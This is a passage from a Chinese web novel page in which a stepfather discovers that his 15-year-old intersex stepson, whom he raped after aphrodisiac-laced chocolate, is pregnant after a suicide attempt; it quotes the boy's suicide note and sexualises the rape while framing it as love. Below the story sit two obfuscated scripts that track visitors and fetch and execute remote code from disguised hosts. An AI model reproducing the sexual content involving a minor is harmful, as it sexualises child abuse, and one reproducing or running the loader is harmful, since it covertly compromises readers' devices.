“什么?”男人闻言大吃一惊,顿时洒了,老半天才反应过来。“邵叔叔, 你刚才说什么?能再说一次嘛!”那人结巴地问,严重怀疑是不是自己听错了!

“你继子怀孕了!”邵院长又说了一遍,神色无比凝重,他也是刚刚才发现 的,田雨默在医院住了半个多月,他都没有发现他已经怀孕的事!

“怎么会这样?”男人喃喃低语,小默怎么会怀孕?他只和小默做过一次而 已……

“邵叔叔,会不会是你搞错了?”其实男人知道以邵院长的医术,是不太可 能会搞错的!

“我绝对没有搞错,你继子真的怀孕了,因为他怀孕时候还很短,所以在医 院的时候才会一直没有检查出来!”邵院长摇头。这可怜的孩子怀孕了,这下可 如何是好?冀昊真是造孽啊!这可怜的孩子该不会是知道他怀孕了,才会自杀吧?

不!应该不会!他怀孕的时间实在太短了,如果不是经验老道的医生,是绝 对检查不出来的!

见邵院长肯定,严冀昊不得不相信继父怀孕的事实,男子乱成一团。从第一 次见到小默时,他就认定了小默是他一生的爱人,所以一直希望小默长大后能给 他生孩子,但怎么偏偏是这种时候小默怀孕了!

小默还这么小,而却恨死他了,如果让小默知道自己让他怀孕了,一定会更 恨他、更想死的……老天爷真会和他开玩笑!现在要怎么办?头痛死了!

“冀昊,他肚子里孩子你想怎么处理?”邵院长严肃地望着他。冀昊强暴他 的继子,已经很难处理了,没想到还让他的继子怀孕,真是被他气死了!他真替 这个世侄担心,不知道他要如何收拾这个烂摊子……

“我……不知道!”严冀昊老实地摇头,他的心好乱。听到小默有了他的孩 子,他又喜又忧,喜的是他终于愿望成真,让小默有了他的孩子。忧的是这个孩 子来的实在不是时候,小默决不会答应生下这个孩子的,而且小默现在的年龄、 身体和心理,都是在无法当一个“母亲”!

“他肚子里的孩子绝不能留,一定要打掉!”邵院长冷静地说道,随后又无 奈地叹气:“可惜他现在身体实在太虚弱了,如果流产的话,一定会没命的!只 能等他养好身体,再做流产手术!”

作为一个医生,他什么手术都做,但从不做流产手术。因为他认为医生的职 责是救人,无论出于什么原因都不该杀人,就算只是肚子里尚未出世的生命也一 样。但今天为了世侄,他只能打破他的原则……

严冀昊没有说话,他知道邵叔叔说的对,小默肚子里的宝宝不可以留,但他 还是想留下这个孩子。毕竟这个孩子是他梦想已久的,和小默的“爱情结晶”, 随然小默现在还不爱他……

还好小默现在身体很虚弱,暂时做不了流产手术,让他还有时间好好想想这 个孩子的问题……

“我还要回去开会,这孩子已经没什么大问题了,只要好好休养,很快就会 完全好的,你好好照顾他!这次就别送他去医院了,免得他才出院又马上住院, 会引起别人的怀疑,迟早发现你们之间的事!我会留下一些药,你照说明书按时 间给他吃……他肚子里的孩子,就等他养好身体后我再来安排时间做手术!”邵 院长看了眼时间微皱眉头,手好东西放下药准备离开。他是会议途中接到冀昊的 电话赶过来的,医院所有的医生还等着他回去继续开会!

“谢谢你,邵叔叔!谢谢你两次救了小默!”严冀昊真诚地感谢道。邵叔叔 真是他和小默的恩人,一次又一次救了小默!

“心病还需心药医,虽然我能一次又一次救回他的命,医好他的身体,但他 的心我没办法医好……如果不想办法医好他的心,他迟早还会再寻死的!”邵院 长摇头,语重心长地道。

“……我知道!”严冀昊点头,邵叔叔说的对,如果不医好小默的心,解开 小默的心结,就算救活了他这一次,下次他还会再继续自杀的。小默最难医的是 他的心病啊!

送邵院长离开后,严冀昊回到继子的房间,看着躺在床上挂着药水,左手缠 满纱布的继子,心又狠狠痛了起来。

坐到继子床边,严冀昊伸手轻轻碰触继子苍白得像鬼一样的脸,痛苦地问: “小默。我该拿你怎么办?你到底要爸爸怎么做?”

曾经他认为他对继子的哎,是无论发生什么事都不会改变的,无论遇到什么 事,他都绝不会后悔爱上继子,后悔对继子做的一切事情。可是此刻看到继子奄 奄一息地躺在床上,被自己折磨得身心都受到巨大的重创,他开始怀疑自己真的 不后悔吗?自己的爱情真的是对的吗?自己的爱是不是一开始就错了?

严冀昊长长叹息了一声,突然无意中看到旁边的书桌上放着一封信,上面写 着连个触目惊心的大字:遗书!

男人立刻心中一惊,虽然继子已经没事了,但看到遗书仍旧让他胆战心惊, 背嵴直发凉。

大手颤抖地拿起遗书打开,眼眶敦实湿了,纸上的字清秀工整让人赏心悦目, 内容却让人心疼无比。

冀昊叔叔,当你看到这封信的时候,我想我应该已经离开这个世界了吧!请 不要救我,因为这是我唯一能抓住的最后的幸福,请不要把我最后的幸福也夺走!

对不起!其实这句话很早以前就想对你说了,可是一直不知道要如何开口, 因为我让你痛苦了!虽然我到人生的最后一刻仍旧不明白,你口中的爱情是什么, 但是让你爱上我,却没有办法回应你,让你伤心了,真是对不起!

可能因为太小的原因吧,我不懂爱情,也不想要爱情,我只是想有一个完整 的家,有一个疼爱我的爸爸,能够保护我和妈妈!虽然你是我的继父,并不是我 的亲生父亲,但还是谢谢你,让我有机会喊你一声爸爸,如果有爸爸是这样的感 觉!

虽然曾经因为你很痛苦,也曾经怨恨过你,多次想为什么你是我的继父,但 是要离开这个世界的时候,却发现除了妈妈外,你竟然是对我最好的人。你是除 了妈妈以外,我唯一的家人!所以谢谢你……

虽然在死前还是无法完全放下对你的恨,但是对你的感谢比恨要多一些,请 你放心,等我到了另一个世界,我一定会把所有的恨都放下,对你只有永远的感 谢!

对我的死,请不要觉得难过,也不要觉得有负担,我并不是因为你才自杀的! 有一个畸形身体的我,是不容于这个世界的,我早晚都会选择自杀这条路,所以 请不要责怪自己!离开这个世界,我非常的幸福,对人生也没有什么眷念!唯独 对妈妈放心不下,我希望我死了以后,能请你好好帮我照顾她。她是一个很好很 好的女人,她非常非常爱你,所以即使你不爱她,也请你照顾她一生一世。请试 着爱上她,拜托了!

对不起,可能因为我的死,会给你带来一些不必要的麻烦,但我已经另外写 了一封遗书,告诉大家我是因为我有一个畸形身体,心理压力太大才会自杀,不 会有人怀疑和你有关的!只是我死后,请多帮我安慰妈妈,让她不要太难过了… …

我会永远感谢你的,如果有来生,我一定会为你做牛做马,报答你的恩情的!

雨默留

当严冀昊看完时,眼泪不知不觉已经从眼眶里流了出来,这是一个多么善良 可怜的孩子,他竟然和自己说谢谢!自己对他做了那么多禽兽不如的事,他竟然 还和自己说谢谢,甚至死了都怕自己有罪恶感,让自己不要愧疚、责怪自己……

“严冀昊,你不是人!”严冀昊伸手狠狠甩了自己两个耳光,把俊脸打得通 红,大声怒骂自己。

他真的不是一个人,明明知道小默这孩子有多可怜、有多脆弱,他活得是多 么的辛苦,就像是一个水晶娃娃,只要一不小心就会碎掉。但他却被欲望蒙蔽了 心,打着爱的名号,一再的伤害他,最终把他逼得走上绝路……

是自己逼他自杀的,是自己把他逼得走投无路,不得不自杀的!

他在遗书上说死王是他唯一的幸福,上帝,到底要痛苦到什么地步,才会认 为死竟然是一种幸福,还是唯一的!

他根本没有资格说爱小默,他根本不配说爱他,但是……即使如此,他还是 无法控制对这孩子的爱,他还是想要继续爱下去……

就算看到小默因为他的爱,痛苦得去自杀,他还是想要爱他。明知道他的爱 只会让小默痛苦,只会给他带来伤害,但他仍旧无法自拔地疯狂深爱着他!他是 不是一个魔鬼?!

“小默,爸爸爱你……爸爸从来都不想伤害你的。爸爸只是想好好的爱你, 让你幸福!为什么事情会变成这样?”严冀昊望着好不容易捡回一条命,仍旧还 在昏迷中的继子,痛苦地说道。

看到继子的遗书,他已经能回答自己刚才的问题了,他后悔爱上小默,非常 非常的后悔,他知道这份爱是错误的!他的爱给小默带来了太多的伤害,他的爱 对着孩子来说是灾难,是无尽的痛苦!

可是他却不能不爱他,如果还有一次选择的机会,他是会爱上小默!如此善 良的孩子,他根本没有办法不被他吸引,没有办法不爱他,只是他一定不会再伤 害他,他会爱得很小心,再也不会因为他的丑陋肮脏的男性欲望伤害他了……

可惜世上没有后悔药卖,时间不可能倒退,人生没有第二次选择的机会,伤 害了就是伤害了!一切都没有办法挽回了……

可怜的男人痛苦地跪在继子的床前,绝望内疚到了极点,在恨不得自杀谢罪 时,手机突然响了起来……

男人伤心地拿出手机,准备直接拿掉电池,他现在谁的电话都不想接。但看 到来电显示后,男人马上改变了主意。

男人黑着俊脸,怒火冲天按下接听键,一张嘴就骂道:“龙玖,你这王八弹, 我要杀了你!”

“冀昊,你怎么了?吃到火药了,这么恐怖!我记得我好像没有得罪过你吧! 竟然对好久不见的好兄弟喊打喊杀,实在太过分了!”手机里的人愣了一下,随 即无辜地哀叫道。

“你还敢说!你这个王八弹,老子被你害死了,你现在在哪里?”严冀昊想 起一切的起因全是因为龙玖送的巧克力,就恨不得把龙玖宰了,一切全是龙玖的 错!

“我刚要回囯!我到底做了什么对不起你的事了?我怎么一点也想不起来!” 龙玖一头雾水,冀昊真是莫名其妙。

“太好了!你回来了,我就可以找你算账了!你在家等着我,我马上就过来!” 严冀昊说完不等龙玖回答就挂了电话,杀气腾腾地扔下田雨默一个人离开,开车 向龙玖家冲去,准备找龙玖算账……

龙玖刚打开门,就被严冀昊一记铁拳习来,俊美无铸的脸马上青了一大块。

“冀昊,你干嘛打我?”龙玖捂住被打肿的俊脸,望着一脸怒愤像地狱恶鬼 似的严冀昊,可怜地叫道。他到底哪里得罪这老小子了?一见面就打他!冀昊是 不是疯了?

“龙玖,我问你,你前一阵子送给我的巧克力是不是放了春药在里面?”严 冀昊抓住他的领子凶恶地问,恨不得把他扒皮抽筋。

最心爱的人因为自己受尽身心上的折磨,最后还逼得自杀,即使坚强如严冀 昊,也快要崩溃了。多曰的痛苦累积在一起,快把他逼疯了,他现在疯狂的需要 找一个能够发泄的地方,而一切事件的罪魁祸首龙玖无疑就是最好的人选!

虽然严冀昊内心深处非常明白,他和继父之间的问题早已存在,龙玖的“春 药巧克力”只不过是导火线,就算没有龙玖的“春药巧克力”,让自己上了继父, 继父迟早还是会被自己强暴逼得自杀……

“对!我想要给你一个惊喜,让你和嫂子" 性福甜蜜" !那巧克力是我亲手 做的,怎么了?那巧克力弄出了什么事了吗?”龙玖皱起眉头,聪明如他立刻就 感觉到严冀昊会这么生气,可能是巧克力搞出事来了。

但是奇怪,他做的“性福甜蜜巧克力”里挡了很重的春药,不是应该让冀昊 和他新婚娇妻“快乐赛神仙”,让冀昊爽死吗?他怎么还一副想杀人的表情?

“你还有脸问弄出什么是了!你知道吗?因为你那个苟屁巧克力,差点闹出 人命!”严冀昊怒吼道,响起那个可怜的小人儿,心又痛了起来。

“闹出人命?怎么可能!难道……你小子激动过度,和嫂子做太多,差点把 嫂子弄死了?”龙玖惊愕地叫道,随后一脸猥亵地望着好有淫笑道。

“你……”严冀昊的关公脸更红了,暴怒中带着人人能看出的羞愤,小默会 变成那样,确实全因为他激动过度,差点把小默做死了。虽然明知道小默是xi ao孩子,到那他就是控制不住自己,小默实在太……销魂了!

“原来真是这样,被我说中了!我说冀昊,你也算是越女无数,你怎么能像 只饿狼似的,那么不知节制!竟然差点把人做死!难道我的嫂子就有这么棒吗?” 龙玖看他的表情,就知道自己猜中了,立刻不顾脸上的痛,搂住他的肩膀坏笑道。

“棒你哥大头鬼!臭小子,你还敢说!老子今天一定要杀了你,为名除害!” 严冀昊怒上加怒,又一记铁拳向他另一边完好无损的俊脸飞去。

不过这次龙玖早有准备,赶紧躲开他的拳头。“冀昊,你什么时候变得这么 暴力了,怎么动不动就打人!你不是号称上流社会最温柔。最绅士的男人吗!如 果被人知道其实你是个两面人可不好哦!”龙玖不怕死的讪笑道。“而且杀了我, 怎么能叫为名除害?我又没有做什么伤天害理,天地不容的事!”

“你把一个才十五岁的孩子害得差点死掉,还不叫伤天害理,天地不容吗!” 严冀昊快被他气死了,怒不可遏地吼道。

“十五岁的xiao孩子?你这话什么意思?”龙玖马上满腹狐疑地问。

严冀昊立刻在心里低咒一声,糟了,说漏嘴了!

“冀昊,到底怎么回事?快点把话说清楚!”龙玖的表情变得严肃起来,焦 急地追问着。他送的巧克力该不会没被冀昊的新婚娇妻吃了,而是被一个十五岁 的xiao孩子吃了吧?!

如果真是那样,他的罪过可就真的大了。但是巧克力明明是送给冀昊的新婚 娇妻吃的,怎么会被一个xiao孩子吃了,难道是误食?冀昊不主动巧克力里 有春药,所以给xiao孩子吃了?

“我……”严冀昊不知道要怎么说,即使是最好的兄弟,但他也没有脸把自 己的兽行告诉他。

“我们可是穿一条裤子长大的好哥们,我们之间还有什么不好说的!”龙玖 见他似乎不想说,生气地骂道。虽然被严冀昊大了一拳,但他并没有放在心上, 在他心里严冀昊无论做了什么,永远都是他的好兄弟!

“进去说吧!”严冀昊犹豫了一下,叹了口气点头,走进了屋里。他现在真 的太累了,他非常需要找一个人好好倾诉一番,而能让他毫无保留放心倾诉的人, 也只有龙玖了!

“OK!”

进了客厅,龙玖倒了一杯威士忌递给严冀昊:“先喝点酒降降火!”

虽然不知道严冀昊发生什么事了,单龙玖知道他现在非常需要一杯酒。

“谢谢!”严冀昊抬起水晶杯,仰头一口喝完。龙玖不愧是他多年的好兄弟, 实在太了解他了,她现在非常需要酒来麻醉自己。

“到底出什么事了?我送的巧克力是不是没给嫂子吃,而是被一个xiao 孩子吃了!”龙玖也给自己倒了一杯,不过他不喜欢喝威士忌,他喜欢喝葡萄酒。

严冀昊痛苦地点头,拿起威士忌又给自己倒了一杯。他想醉,他真的很想好 好大醉一场,醉了就什么都不用想,什么痛苦都没用了!

“那孩子是谁?”龙玖倒了酒却没有喝,抬着酒杯若有所思地望着好友。他 和冀昊很小就认识了,做了三十年的兄弟,他还从来没有见过他这种表情,似乎 活着比死更痛苦。他出囯前,冀昊明明还好好的,他离开的这段时间到底发生了 什么事?

“我继子!”严冀昊再次吧酒杯中的酒一饮而尽,然后又把酒杯倒满。

“你继子?”龙玖愣了一下惊叫道。

严冀昊点头,他的酒量一向都很好,已经喝了两杯了,但脑子仍旧还是很清 醒。为什么不让他醉?

“怎么会这样?你该不会把你继子给……”练就已经不敢想象了,那药超烈 的,无论多小的孩子吃了都会欲火焚身,超想被男人……

“对,我把我继子给上了!”严冀昊抬头睨着他笑了,那笑比哭更难看。

“老天爷!”龙玖拍额大叫。难怪冀昊这么生气,他这次真是把冀昊害惨了。 “你怎么会把巧克力给你继子吃?”龙玖也头疼起来了。

“我不知道巧克力里有春药,所以就……”

“天啊!现在那孩子怎么样了?”龙玖万万没想到事情会变成这样,这和他 当初设想的完全不一样。他原本是想让冀昊高兴的。

“他自杀了!”严冀昊放下酒杯,直接拿起酒瓶灌。

“……冀昊……对不起!我没想到会这样,都是我的错!”看着他痛不欲生 的表情,龙玖愧疚极了。

“不!你没错!错的人是我,一切的错全是我一个人造成的!”严冀昊摇头, 刚才他太痛苦了才回吧所有的错全部推给龙玖。其实就算不是龙玖的“巧克力”, 他早晚也会占有小默的。没人知道他有多渴望小默。他想要小默都想疯了!

“冀昊……你别这么说,你这样会让我更愧疚的!”

“真的,真的和你没有关系,你不用愧疚!我告诉你一个秘密,其实我该感 谢你才对,因为……我早就想上他了!”严冀昊摇头,突然微微眯起眼盯着龙玖 哈哈大笑起来,他真是一个禽兽不如的畜牲,明知道继子中了春药还发着高烧, 但他上他时还觉得爽极了!

在占有继子的极乐直接中,他完全没有去考虑继子的身体状况和心理感受, 只想着要如何淫玩他,狠狠的操干他,让他完全成为自己身体的一部分!当听到 小默怀孕了时,他的第一反应也是惊喜,是说不出的高兴!完全没有丝毫的罪恶 感……

“冀昊,你……你该不会……”龙玖难以置信地看着他,惊愕得说不出话来。

“玖,我爱她!我爱我的继子!我是不是一个变态?”严冀昊像疯了一样大 声自我嘲笑。

“冀昊……你怎么会去喜欢你的继子,那啥犯法的……而且他可是你的儿子!” 龙玖虽然也是个花花公子,又经常生活在囯外,思想非常开放,单听到他的事也 忍不住吓了一跳,一时间难以接受。

“我知道,可我就是爱他,像疯了一样的爱他!我控制不了我自己,我就想 得病了一样,我无法自控!”严冀昊有抱着酒瓶喝了起来,在第一次见到小默的 时候,他就病了,得了一种叫“爱情”的绝症。

“你爱的人不是你老婆吗?”龙玖被他搞煳涂了。

“我从头到尾爱的人都是我的继子,出了他以外我没有爱过任何人!”严冀 昊苦笑道。

“那你老婆呢?”龙玖揉着隐隐作痛的太阳穴,脑子被搞乱了。冀昊的感情 问题好复杂,正常男人的冀昊竟然爱上一个小男孩,而那个小男孩还是他的继子, 这乱七八糟的到底是些什么啊?

“我从来没有爱过她,我一开始爱的就是我继子,我是为了他次啊和他妈妈 结婚的!”这个婚姻从一开始就是个错误的决定,他一时的煳涂造成了无可挽回 的悲剧,让他和小默直接永远隔着一道无法跨越的鸿沟。他当时从未想到,“父 子”关系竟会成为他们之间最大的障碍!

“冀昊,你怎么这么煳涂……”龙玖没想到好兄弟会为爱疯狂成这样,爱上 一个男孩已经非常不可思议了,他竟然还以为一个男孩去娶一个他不爱的女人,

不过当时冀昊这个上流社会最优价值的黄金单身汉,竟然去娶一个比他大八 岁,还带着拖油瓶的女人时,所有人都觉得很奇怪,他还以为冀昊吃错药了。

“我可能真的很煳涂吧!但我不后悔!”严冀昊自嘲地笑道。对这份感情, 有时候连他自己都觉得太煳涂、太疯狂了,可是爱了就是爱了,他也没有办法!

“你继子也爱你吗?”龙玖问出口就后悔了,其实不用问也知道,如果冀昊 的继子也爱冀昊,就绝不会和他上完床就自杀。

“他恨我!”严冀昊摇头,这就是让他痛苦的根源。以前都是别人爱他,他 不爱被人,所以他从不知道原来一厢情愿的爱情会这么痛苦。得不到所爱之人的 爱是如此的悲惨绝望!

“现在那孩子怎么样了?没有真的死掉吧!”龙玖担心地问。冀昊真是爱上 了不该爱的人爱情果然是害人的东西,绝对碰不得!

“发现的及时,现在已经没事了,明天就会醒!”男人摇头,如果继子真的 死掉,她现在也是一具尸体了!

“兄弟,听我一句!现在赶紧和你老婆离婚,给他们母子一大笔钱,把他们 送到囯外去,永远和他们划清界限。囯外我非常熟,我会帮你安排好一切的!” 龙玖深思片刻后建议道。他没问冀昊他老婆知不知道他们继父子的事,他相信以 冀昊的能力,要瞒过他老婆是轻而易举的事!

“不!离开他我肯定活不了!而且……他怀孕了!”严冀昊再次摇头,稍微 犹豫了一下决定告诉好友最大的秘密。就算小默没有怀孕,他也不会让他离开的, 小默就是他的命,没了小默,他也就没有命了!

“你说什么!他继子怀孕了?他不是男生吗》他怎么会怀孕?”龙玖闻言立 刻目瞪口呆地看着好友,考半天才回过神大叫道。他真怀疑好友是不是悲伤过度, 随意疯了!

“他……是个双性人!”龙玖是他最好的兄弟,对他没有什么不可以说的。

“你继子是双性人?!”又是一声惊叫,龙玖一脸惊愕,完全洒了,他在外 囯时也曾听过有双性人的存在,但怎么也没有想到好朋友的继子竟然是双性人, 而且还被好朋友弄怀孕了!天啊!现在要怎么办?

“冀昊,赶紧带你继子去堕胎,然后用钱把他打发了,永远都别再和他见面!” 龙玖花了很长时间才消化掉自己听到的,揉着太阳穴对严冀昊说道。

“我说了,没有他我会活不下去的,而且我不想让他堕胎,我想留下他肚子 里的孩子!”严冀昊又一次摇头。

“冀昊!我拜托你清醒一点,他是你的继子,你这样是在玩火,总有一天会 引火自焚的!而且他并不爱你,只是你单相思……你说你想留下他肚子里的孩子, 你有没有想过那xiao孩生下来后,要怎么处理他的身份?如果这件事被曝光,你要 如何面对大众,如何面对所有的亲朋好友?别提在商场立足了,你就连在社会上 都没有办法生存


上一篇:危险的上班族妇女又名(我为人妻)

下一篇:妖女榨汁榨精文47


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};